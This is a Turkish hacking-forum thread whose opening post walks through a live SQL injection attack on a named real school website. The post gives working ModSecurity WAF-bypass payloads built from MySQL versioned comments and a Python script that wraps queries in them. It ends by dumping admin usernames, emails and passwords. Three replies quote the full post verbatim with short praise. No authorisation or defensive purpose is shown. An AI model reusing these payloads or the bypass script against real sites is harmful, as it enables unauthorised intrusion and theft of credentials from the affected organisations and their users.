SQL Injection 403 Bypass(ModSecurity) #TekKurşun

Acolmiztli

Yeni üye
16 Ara 2023
6
31
26
Selamlar sevgili hocalarım, uzun zamandır yoktum güzel bir konu ile tekrar dönmek istedim.
Sql injectionda manuel sömürü yaparken hepmizinde bildiği gibi waflar hep baş belası olmuştur.
Eğer seri tutarsa sırası ile önüme gelen sitelerin waflarını bypasslayarak anlatacağım.

Modsecuirty de atlattığımız wafın payloadı başka sitelerde de yarayabilir yaramayabilirde bunlar hep deneme yanılma ile öğrenilir.
Peki neden böyle bir içerik ihtiyacı var ve neden tek kurşun tagını kullandım ?
Sistemler geliştikçe zafiyetler olsa dahi yeni önlemler alınmakta, örneğin bir sorgu denerken 5 kere wafa yakalanırsanız waf sizin ip'nizi banlar ortalama bir wafda min 10-15 kere loglara girersiniz zaten bu yüzden wafı daha önce bypassladığınız yerde payloadları hazırlamanız lazım.
ijqv0fj.jpg

TEK KURŞUN
Şimdi gelelim sitemize;
ia8qf8h.png

yukarıda da gözüktüğü gibi basit bir site normal manuel sqli olarak devam ediyoruz taki wafa takılana kadar,
th0ya3e.PNG

order by da herhangi bir sıkıntıya rastlamadık.
SQL:
https://indianschool.bh/latest_news.php?action=show_news&id=199' order by 13 --+-
8qwu3fx.PNG

O zaman
union select ile veri çekmeye başlayalım.
union selecti yazdığım gibi waf devreye girdi.
SQL:
https://indianschool.bh/latest_news.php?action=show_news&id=199' union select 1,2,3,4,5,6,7,8,9,10,11,12,13 --+-
6o0iw3g.PNG

Waf açısından hem bakıp hemde tecrübe ile baktığım zaman, durum 2 tür senaryo vardır.

1- kullanıcıdan alınan tüm verileri filtrele yapılmaz çünkü backend'de iş çok büyür.
2- Tehlikeli olabilecek fonksiyonları engelle, genelde bu tercih edilir.
Şimdi 2. senayo olduğunu zaten biliyoruz zaten atlatılamayan waf olmaz çünkü sadece işi uzatır ve zorlaştırılır.

Select fonksiyonu normal düz bir veri seçme fonksiyonu sistemde kullanılı genelde blackliste alınmaz bu yüzden,
lakin
Union fonksiyonu iki sorguyu bir birine birleştirir sistem kullanıcısı tarafından beklenmeyen bir harekettir waf bu yüzden uniona izin vermez.
Konuyu fazla uzatmamak açısından union fonksiyonuna
/*!12345union*/ diyerek bypasslamayı denedim ve başardım.
NOT: 12345 herhangi bir int değerdir.
ab2a9w3.PNG

bundan sonra
concat fonksiyonu gibi fonksiyonlar genelde takılmaz lakin information_schema.tables da en çok takılanlar arasındadır siz bypass denerken en çok bu fonksiyonlara bakmanızı öneririm.
Tabi şimdi ne atarsak bize waf a takılacağı için size bir python kodu veriyorum.
i5rf8gc.PNG

kodda burada
Python:
def process_text(input_text):
    words = input_text.split()
    processed_text = ""
    for word in words:
        processed_text += "/*!50000" + word + "*/+"
    return processed_text.strip()
input_text = input("Enter The SQL Queries: ")
output_text = process_text(input_text)
print("Bypassed SQL Queries:", output_text)
bu kod ile yazığımız tüm sorguları direk bypasllıyarak geçeceğiz. Tüm modsecuirty geldikçe kullanabilirsiniz bu sayede 2 kere takılacağız sadece,

1 union seçerken ,2 db dumplarken
hadi db yi alalım artık.
SQL:
https://indianschool.bh/latest_news.php?action=show_news&id=199' /*!50000union*/ select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13 from information_schema.tables where table_schema=database() --+-
sorguyu 2.kez wafa taktık ama teker teker hangi fonksiyon takılıyor diye artık bakmayacağız.
k7lx85n.png

şimdi python kodunu çalıştıralım ve yazdığımız sorguyu içine verelim.
84swb4b.png

bize bypasslı halini verdi, hemen siteye deniyorum.
SQL:
https://indianschool.bh/latest_news.php?action=show_news&id=199' /*!50000union*/ select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13 /*!50000from*/+/*!50000information_schema.tables*/+/*!50000where*/+/*!50000table_schema*/=database() --+-
awi8d92.png

görüldüğü gibi wafı patlattık artık, adminin içindeki
column isimlerinide alalım.
SQL:
https://indianschool.bh/latest_news.php?action=show_news&id=199' /*!50000union*/ /*!50000select*/ 1,/*!50000group_concat(column_name)*/,3,4,5,6,7,8,9,10,11,12,13 /*!50000from*/+/*!50000information_schema.columns*/+/*!50000where*/+/*!50000table_name*/=0x61646d696e --+-
t40qbuh.png

admin kelimesi blackliste olduğu için hexledim.
SQL:
https://indianschool.bh/latest_news.php?action=show_news&id=199' /*!50000union*/ /*!50000select*/ 1,/*!50000group_concat(username,0x3a,email,0x3a,password)*/,3,4,5,6,7,8,9,10,11,12,13 /*!50000from*/+admin--+-
en son işime yarayan verileri dumpladım.
k9pus0o.PNG

Okuduğunuz için teşekkür ederim değerli hocalarım,
iyi forumlar.
 
Son düzenleme:

drjacob

Uzman üye
21 Ocak 2012
1,784
411
localhost
Selamlar sevgili hocalarım, uzun zamandır yoktum güzel bir konu ile tekrar dönmek istedim.
Sql injectionda manuel sömürü yaparken hepmizinde bildiği gibi waflar hep baş belası olmuştur.
Eğer seri tutarsa sırası ile önüme gelen sitelerin waflarını bypasslayarak anlatacağım.

Modsecuirty de atlattığımız wafın payloadı başka sitelerde de yarayabilir yaramayabilirde bunlar hep deneme yanılma ile öğrenilir.
Peki neden böyle bir içerik ihtiyacı var ve neden tek kurşun tagını kullandım ?
Sistemler geliştikçe zafiyetler olsa dahi yeni önlemler alınmakta, örneğin bir sorgu denerken 5 kere wafa yakalanırsanız waf sizin ip'nizi banlar ortalama bir wafda min 10-15 kere loglara girersiniz zaten bu yüzden wafı daha önce bypassladığınız yerde payloadları hazırlamanız lazım.
ijqv0fj.jpg

TEK KURŞUN
Şimdi gelelim sitemize;
ia8qf8h.png

yukarıda da gözüktüğü gibi basit bir site normal manuel sqli olarak devam ediyoruz taki wafa takılana kadar,
th0ya3e.PNG

order by da herhangi bir sıkıntıya rastlamadık.
SQL:
https://indianschool.bh/latest_news.php?action=show_news&id=199' order by 13 --+-
8qwu3fx.PNG

O zaman
union select ile veri çekmeye başlayalım.
union selecti yazdığım gibi waf devreye girdi.
SQL:
https://indianschool.bh/latest_news.php?action=show_news&id=199' union select 1,2,3,4,5,6,7,8,9,10,11,12,13 --+-
6o0iw3g.PNG

Waf açısından hem bakıp hemde tecrübe ile baktığım zaman, durum 2 tür senaryo vardır.

1- kullanıcıdan alınan tüm verileri filtrele yapılmaz çünkü backend'de iş çok büyür.
2- Tehlikeli olabilecek fonksiyonları engelle, genelde bu tercih edilir.
Şimdi 2. senayo olduğunu zaten biliyoruz zaten atlatılamayan waf olmaz çünkü sadece işi uzatır ve zorlaştırılır.

Select fonksiyonu normal düz bir veri seçme fonksiyonu sistemde kullanılı genelde blackliste alınmaz bu yüzden,
lakin
Union fonksiyonu iki sorguyu bir birine birleştirir sistem kullanıcısı tarafından beklenmeyen bir harekettir waf bu yüzden uniona izin vermez.
Konuyu fazla uzatmamak açısından union fonksiyonuna
/*!12345union*/ diyerek bypasslamayı denedim ve başardım.
NOT: 12345 herhangi bir int değerdir.
ab2a9w3.PNG

bundan sonra
concat fonksiyonu gibi fonksiyonlar genelde takılmaz lakin information_schema.tables da en çok takılanlar arasındadır siz bypass denerken en çok bu fonksiyonlara bakmanızı öneririm.
Tabi şimdi ne atarsak bize waf a takılacağı için size bir python kodu veriyorum.
i5rf8gc.PNG

kodda burada
Python:
def process_text(input_text):
    words = input_text.split()
    processed_text = ""
    for word in words:
        processed_text += "/*!50000" + word + "*/+"
    return processed_text.strip()
input_text = input("Enter The SQL Queries: ")
output_text = process_text(input_text)
print("Bypassed SQL Queries:", output_text)
bu kod ile yazığımız tüm sorguları direk bypasllıyarak geçeceğiz. Tüm modsecuirty geldikçe kullanabilirsiniz bu sayede 2 kere takılacağız sadece,

1 union seçerken ,2 db dumplarken
hadi db yi alalım artık.
SQL:
https://indianschool.bh/latest_news.php?action=show_news&id=199' /*!50000union*/ select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13 from information_schema.tables where table_schema=database() --+-
sorguyu 2.kez wafa taktık ama teker teker hangi fonksiyon takılıyor diye artık bakmayacağız.
k7lx85n.png

şimdi python kodunu çalıştıralım ve yazdığımız sorguyu içine verelim.
84swb4b.png

bize bypasslı halini verdi, hemen siteye deniyorum.
SQL:
https://indianschool.bh/latest_news.php?action=show_news&id=199' /*!50000union*/ select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13 /*!50000from*/+/*!50000information_schema.tables*/+/*!50000where*/+/*!50000table_schema*/=database() --+-
awi8d92.png

görüldüğü gibi wafı patlattık artık, adminin içindeki
column isimlerinide alalım.
SQL:
https://indianschool.bh/latest_news.php?action=show_news&id=199' /*!50000union*/ /*!50000select*/ 1,/*!50000group_concat(column_name)*/,3,4,5,6,7,8,9,10,11,12,13 /*!50000from*/+/*!50000information_schema.columns*/+/*!50000where*/+/*!50000table_name*/=0x61646d696e --+-
t40qbuh.png

admin kelimesi blackliste olduğu için hexledim.
SQL:
https://indianschool.bh/latest_news.php?action=show_news&id=199' /*!50000union*/ /*!50000select*/ 1,/*!50000group_concat(username,0x3a,email,0x3a,password)*/,3,4,5,6,7,8,9,10,11,12,13 /*!50000from*/+admin--+-
en son işime yarayan verileri dumpladım.
k9pus0o.PNG

Okuduğunuz için teşekkür ederim değerli hocalarım,
iyi forumlar.
eline sağlık.
 

kst132

Junior Hunter
12 Haz 2023
925
556
Selamlar sevgili hocalarım, uzun zamandır yoktum güzel bir konu ile tekrar dönmek istedim.
Sql injectionda manuel sömürü yaparken hepmizinde bildiği gibi waflar hep baş belası olmuştur.
Eğer seri tutarsa sırası ile önüme gelen sitelerin waflarını bypasslayarak anlatacağım.

Modsecuirty de atlattığımız wafın payloadı başka sitelerde de yarayabilir yaramayabilirde bunlar hep deneme yanılma ile öğrenilir.
Peki neden böyle bir içerik ihtiyacı var ve neden tek kurşun tagını kullandım ?
Sistemler geliştikçe zafiyetler olsa dahi yeni önlemler alınmakta, örneğin bir sorgu denerken 5 kere wafa yakalanırsanız waf sizin ip'nizi banlar ortalama bir wafda min 10-15 kere loglara girersiniz zaten bu yüzden wafı daha önce bypassladığınız yerde payloadları hazırlamanız lazım.
ijqv0fj.jpg

TEK KURŞUN
Şimdi gelelim sitemize;
ia8qf8h.png

yukarıda da gözüktüğü gibi basit bir site normal manuel sqli olarak devam ediyoruz taki wafa takılana kadar,
th0ya3e.PNG

order by da herhangi bir sıkıntıya rastlamadık.
SQL:
https://indianschool.bh/latest_news.php?action=show_news&id=199' order by 13 --+-
8qwu3fx.PNG

O zaman
union select ile veri çekmeye başlayalım.
union selecti yazdığım gibi waf devreye girdi.
SQL:
https://indianschool.bh/latest_news.php?action=show_news&id=199' union select 1,2,3,4,5,6,7,8,9,10,11,12,13 --+-
6o0iw3g.PNG

Waf açısından hem bakıp hemde tecrübe ile baktığım zaman, durum 2 tür senaryo vardır.

1- kullanıcıdan alınan tüm verileri filtrele yapılmaz çünkü backend'de iş çok büyür.
2- Tehlikeli olabilecek fonksiyonları engelle, genelde bu tercih edilir.
Şimdi 2. senayo olduğunu zaten biliyoruz zaten atlatılamayan waf olmaz çünkü sadece işi uzatır ve zorlaştırılır.

Select fonksiyonu normal düz bir veri seçme fonksiyonu sistemde kullanılı genelde blackliste alınmaz bu yüzden,
lakin
Union fonksiyonu iki sorguyu bir birine birleştirir sistem kullanıcısı tarafından beklenmeyen bir harekettir waf bu yüzden uniona izin vermez.
Konuyu fazla uzatmamak açısından union fonksiyonuna
/*!12345union*/ diyerek bypasslamayı denedim ve başardım.
NOT: 12345 herhangi bir int değerdir.
ab2a9w3.PNG

bundan sonra
concat fonksiyonu gibi fonksiyonlar genelde takılmaz lakin information_schema.tables da en çok takılanlar arasındadır siz bypass denerken en çok bu fonksiyonlara bakmanızı öneririm.
Tabi şimdi ne atarsak bize waf a takılacağı için size bir python kodu veriyorum.
i5rf8gc.PNG

kodda burada
Python:
def process_text(input_text):
    words = input_text.split()
    processed_text = ""
    for word in words:
        processed_text += "/*!50000" + word + "*/+"
    return processed_text.strip()
input_text = input("Enter The SQL Queries: ")
output_text = process_text(input_text)
print("Bypassed SQL Queries:", output_text)
bu kod ile yazığımız tüm sorguları direk bypasllıyarak geçeceğiz. Tüm modsecuirty geldikçe kullanabilirsiniz bu sayede 2 kere takılacağız sadece,

1 union seçerken ,2 db dumplarken
hadi db yi alalım artık.
SQL:
https://indianschool.bh/latest_news.php?action=show_news&id=199' /*!50000union*/ select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13 from information_schema.tables where table_schema=database() --+-
sorguyu 2.kez wafa taktık ama teker teker hangi fonksiyon takılıyor diye artık bakmayacağız.
k7lx85n.png

şimdi python kodunu çalıştıralım ve yazdığımız sorguyu içine verelim.
84swb4b.png

bize bypasslı halini verdi, hemen siteye deniyorum.
SQL:
https://indianschool.bh/latest_news.php?action=show_news&id=199' /*!50000union*/ select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13 /*!50000from*/+/*!50000information_schema.tables*/+/*!50000where*/+/*!50000table_schema*/=database() --+-
awi8d92.png

görüldüğü gibi wafı patlattık artık, adminin içindeki
column isimlerinide alalım.
SQL:
https://indianschool.bh/latest_news.php?action=show_news&id=199' /*!50000union*/ /*!50000select*/ 1,/*!50000group_concat(column_name)*/,3,4,5,6,7,8,9,10,11,12,13 /*!50000from*/+/*!50000information_schema.columns*/+/*!50000where*/+/*!50000table_name*/=0x61646d696e --+-
t40qbuh.png

admin kelimesi blackliste olduğu için hexledim.
SQL:
https://indianschool.bh/latest_news.php?action=show_news&id=199' /*!50000union*/ /*!50000select*/ 1,/*!50000group_concat(username,0x3a,email,0x3a,password)*/,3,4,5,6,7,8,9,10,11,12,13 /*!50000from*/+admin--+-
en son işime yarayan verileri dumpladım.
k9pus0o.PNG

Okuduğunuz için teşekkür ederim değerli hocalarım,
iyi forumlar.
Elinize sağlık
 

aslan aslan

Basın&Medya Ekibi Asistanı
1 Şub 2023
677
262
Selamlar sevgili hocalarım, uzun zamandır yoktum güzel bir konu ile tekrar dönmek istedim.
Sql injectionda manuel sömürü yaparken hepmizinde bildiği gibi waflar hep baş belası olmuştur.
Eğer seri tutarsa sırası ile önüme gelen sitelerin waflarını bypasslayarak anlatacağım.

Modsecuirty de atlattığımız wafın payloadı başka sitelerde de yarayabilir yaramayabilirde bunlar hep deneme yanılma ile öğrenilir.
Peki neden böyle bir içerik ihtiyacı var ve neden tek kurşun tagını kullandım ?
Sistemler geliştikçe zafiyetler olsa dahi yeni önlemler alınmakta, örneğin bir sorgu denerken 5 kere wafa yakalanırsanız waf sizin ip'nizi banlar ortalama bir wafda min 10-15 kere loglara girersiniz zaten bu yüzden wafı daha önce bypassladığınız yerde payloadları hazırlamanız lazım.
ijqv0fj.jpg

TEK KURŞUN
Şimdi gelelim sitemize;
ia8qf8h.png

yukarıda da gözüktüğü gibi basit bir site normal manuel sqli olarak devam ediyoruz taki wafa takılana kadar,
th0ya3e.PNG

order by da herhangi bir sıkıntıya rastlamadık.
SQL:
https://indianschool.bh/latest_news.php?action=show_news&id=199' order by 13 --+-
8qwu3fx.PNG

O zaman
union select ile veri çekmeye başlayalım.
union selecti yazdığım gibi waf devreye girdi.
SQL:
https://indianschool.bh/latest_news.php?action=show_news&id=199' union select 1,2,3,4,5,6,7,8,9,10,11,12,13 --+-
6o0iw3g.PNG

Waf açısından hem bakıp hemde tecrübe ile baktığım zaman, durum 2 tür senaryo vardır.

1- kullanıcıdan alınan tüm verileri filtrele yapılmaz çünkü backend'de iş çok büyür.
2- Tehlikeli olabilecek fonksiyonları engelle, genelde bu tercih edilir.
Şimdi 2. senayo olduğunu zaten biliyoruz zaten atlatılamayan waf olmaz çünkü sadece işi uzatır ve zorlaştırılır.

Select fonksiyonu normal düz bir veri seçme fonksiyonu sistemde kullanılı genelde blackliste alınmaz bu yüzden,
lakin
Union fonksiyonu iki sorguyu bir birine birleştirir sistem kullanıcısı tarafından beklenmeyen bir harekettir waf bu yüzden uniona izin vermez.
Konuyu fazla uzatmamak açısından union fonksiyonuna
/*!12345union*/ diyerek bypasslamayı denedim ve başardım.
NOT: 12345 herhangi bir int değerdir.
ab2a9w3.PNG

bundan sonra
concat fonksiyonu gibi fonksiyonlar genelde takılmaz lakin information_schema.tables da en çok takılanlar arasındadır siz bypass denerken en çok bu fonksiyonlara bakmanızı öneririm.
Tabi şimdi ne atarsak bize waf a takılacağı için size bir python kodu veriyorum.
i5rf8gc.PNG

kodda burada
Python:
def process_text(input_text):
    words = input_text.split()
    processed_text = ""
    for word in words:
        processed_text += "/*!50000" + word + "*/+"
    return processed_text.strip()
input_text = input("Enter The SQL Queries: ")
output_text = process_text(input_text)
print("Bypassed SQL Queries:", output_text)
bu kod ile yazığımız tüm sorguları direk bypasllıyarak geçeceğiz. Tüm modsecuirty geldikçe kullanabilirsiniz bu sayede 2 kere takılacağız sadece,

1 union seçerken ,2 db dumplarken
hadi db yi alalım artık.
SQL:
https://indianschool.bh/latest_news.php?action=show_news&id=199' /*!50000union*/ select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13 from information_schema.tables where table_schema=database() --+-
sorguyu 2.kez wafa taktık ama teker teker hangi fonksiyon takılıyor diye artık bakmayacağız.
k7lx85n.png

şimdi python kodunu çalıştıralım ve yazdığımız sorguyu içine verelim.
84swb4b.png

bize bypasslı halini verdi, hemen siteye deniyorum.
SQL:
https://indianschool.bh/latest_news.php?action=show_news&id=199' /*!50000union*/ select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13 /*!50000from*/+/*!50000information_schema.tables*/+/*!50000where*/+/*!50000table_schema*/=database() --+-
awi8d92.png

görüldüğü gibi wafı patlattık artık, adminin içindeki
column isimlerinide alalım.
SQL:
https://indianschool.bh/latest_news.php?action=show_news&id=199' /*!50000union*/ /*!50000select*/ 1,/*!50000group_concat(column_name)*/,3,4,5,6,7,8,9,10,11,12,13 /*!50000from*/+/*!50000information_schema.columns*/+/*!50000where*/+/*!50000table_name*/=0x61646d696e --+-
t40qbuh.png

admin kelimesi blackliste olduğu için hexledim.
SQL:
https://indianschool.bh/latest_news.php?action=show_news&id=199' /*!50000union*/ /*!50000select*/ 1,/*!50000group_concat(username,0x3a,email,0x3a,password)*/,3,4,5,6,7,8,9,10,11,12,13 /*!50000from*/+admin--+-
en son işime yarayan verileri dumpladım.
k9pus0o.PNG

Okuduğunuz için teşekkür ederim değerli hocalarım,
iyi forumlar.
çok güzel bir anlatım eline sağlık..
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.